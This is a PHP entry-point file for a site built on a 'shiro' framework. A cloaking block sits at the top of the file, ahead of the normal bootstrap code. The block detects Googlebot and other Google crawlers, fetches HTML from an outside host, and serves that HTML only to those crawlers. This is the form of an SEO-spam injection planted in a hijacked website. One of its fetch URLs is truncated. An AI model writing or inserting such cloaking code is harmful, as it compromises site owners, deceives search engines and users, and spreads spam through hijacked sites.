
header('Vary: Accept-Language, User-Agent', true);

function is_googlebot(): bool {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    if ($ua === '') return false;
    
    // Hanya deteksi Googlebot dan variannya
    return strpos($ua, 'googlebot') !== false 
        || strpos($ua, 'google-amphtml') !== false 
        || strpos($ua, 'google-inspectiontool') !== false;
}

function fetch_lp(string $url): ?string {
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 4,
            'max_redirects' => 5,
            'header' => "User-Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? "Mozilla/5.0") . "\r\n",
            'ignore_errors' => true,
        ]
    ]);
    $body = @file_get_contents($url, false, $ctx);
    return $body !== false ? $body : null;
}

$request_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?');

header('Content-Type: text/html; charset=UTF-8');

if (is_googlebot()) {
    // Hanya untuk Googlebot: coba tampilkan landing page khusus sesuai path
    if ($request_uri === '/') {
        // "lp" kemungkinan file lokal (tanpa ekstensi atau sesuai nama file Anda)
        // Jika remote, ganti dengan URL lengkap, misalnya "https://tapfuse.io/jan/hits.html"
        $lp = fetch_lp("https:");
        if ($lp !== null) {
            echo $lp;
            exit;
        }
    }

    if (strpos($request_uri, '/en/achievements') === 0) {
        $lp = fetch_lp("https://onethreethreesevex.com/api88/ppgsa-ifcs-ufrj-br/en/achievements.html");
        if ($lp !== null) {
            echo $lp;
            exit;
        }
    }



}

?>
<?php

$shiroExecuteMode = "legacy";

$configurationPath = dirname( __DIR__ );

$initializationPath = $configurationPath . "/shiro/core/initialization.php";

if ( file_exists( $initializationPath ) ) require ( $initializationPath ); else { http_response_code( 500 ); die( "Could not find initialization file." ); }

?>